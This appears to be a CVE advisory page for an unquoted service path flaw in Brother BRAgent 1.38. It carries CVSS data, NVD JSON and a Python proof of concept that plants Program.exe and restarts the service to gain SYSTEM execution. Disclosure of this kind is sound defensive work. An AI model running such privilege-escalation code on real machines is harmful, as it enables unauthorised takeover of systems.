Security Vulnerability Report
中文
CVE-2020-36928 CVSS 7.8 HIGH

CVE-2020-36928

Published: 2026-01-16 00:16:20
Last Modified: 2026-02-09 15:04:04

Description

Brother BRAgent 1.38 contains an unquoted service path vulnerability in the WBA_Agent_Client service running with LocalSystem privileges. Attackers can exploit the unquoted path in C:\Program Files (x86)\Brother\BRAgent\ to inject and execute malicious code with elevated system permissions.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:brother:bragent:1.38:*:*:*:*:*:*:* - VULNERABLE
Brother BRAgent 1.38及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2020-36928 PoC - Brother BRAgent Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Brother BRAgent # Target: WBA_Agent_Client service running with LocalSystem privileges import os import sys import time import subprocess import shutil def check_vulnerability(): """Check if the vulnerable service exists""" try: result = subprocess.run( ['sc', 'qc', 'WBA_Agent_Client'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] WBA_Agent_Client service found") # Extract the path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f"[i] Service path: {line.strip()}") return True except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(target_path): """Create a malicious executable in the unquoted path location""" # Create a simple malicious executable (reverse shell or payload) malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // Log execution to file for demonstration FILE *fp = fopen("C:\\\\temp\\\\exploit_log.txt", "a"); if (fp) { fprintf(fp, "[EXPLOIT] Program.exe executed at %s\\n", __TIME__); fclose(fp); } // Spawn a command shell with SYSTEM privileges WinExec("cmd.exe /c whoami > C:\\\\temp\\\\whoami.txt", SW_HIDE); return 0; } ''' # For demonstration, create a batch file instead of compiled executable batch_content = '''@echo off echo [EXPLOIT] Executed at %date% %time% >> C:\\temp\\\\exploit_log.txt whoami >> C:\\temp\\\\whoami.txt ''' try: # Create temp directory if not exists os.makedirs('C:\\temp', exist_ok=True) # Create the malicious executable with open(target_path, 'w') as f: f.write(batch_content) print(f"[+] Malicious executable created at: {target_path}") return True except Exception as e: print(f"[-] Failed to create malicious executable: {e}") return False def trigger_service(): """Attempt to trigger the vulnerable service""" try: print("[*] Attempting to restart the service...") subprocess.run(['net', 'stop', 'WBA_Agent_Client'], capture_output=True, timeout=10) time.sleep(2) subprocess.run(['net', 'start', 'WBA_Agent_Client'], capture_output=True, timeout=10) print("[+] Service restart attempted") return True except Exception as e: print(f"[-] Failed to trigger service: {e}") return False def main(): print("=" * 60) print("CVE-2020-36928 - Brother BRAgent Unquoted Service Path") print("=" * 60) if not check_vulnerability(): print("[-] Target service not found or not vulnerable") return # The vulnerable path is: C:\Program Files (x86)\Brother\BRAgent\bragent.exe # Attack vector: Create Program.exe in C:\Program Files (x86)\ target_path = 'C:\\\\Program Files (x86)\\\\Program.exe' if create_malicious_executable(target_path): print("[*] Waiting for service trigger...") print("[*] Check C:\\temp\\\\exploit_log.txt for execution proof") # Note: In real attack, service restart triggers the exploit if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36928", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:20.140", "lastModified": "2026-02-09T15:04:03.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Brother BRAgent 1.38 contains an unquoted service path vulnerability in the WBA_Agent_Client service running with LocalSystem privileges. Attackers can exploit the unquoted path in C:\\Program Files (x86)\\Brother\\BRAgent\\ to inject and execute malicious code with elevated system permissions."}, {"lang": "es", "value": "Brother BRAgent 1.38 contiene una vulnerabilidad de ruta de servicio sin comillas en el servicio WBA_Agent_Client que se ejecuta con privilegios de LocalSystem. Los atacantes pueden explotar la ruta sin comillas en C:\\Program Files (x86)\\Brother\\BRAgent\\ para inyectar y ejecutar código malicioso con permisos de sistema elevados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-428"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:brother:bragent:1.38:*:*:*:*:*:*:*", "matchCriteriaId": "6D7D2EFB-0A7D-4A53-9ED6-6EA35866C06A"}]}]}], "references": [{"url": "https://help.brother-usa.com/app/answers/detail/a_id/174732/~/what-is-bragent%3F", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50010", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/brother-bragent-wbaagentclient-unquoted-service-path", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/50010", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}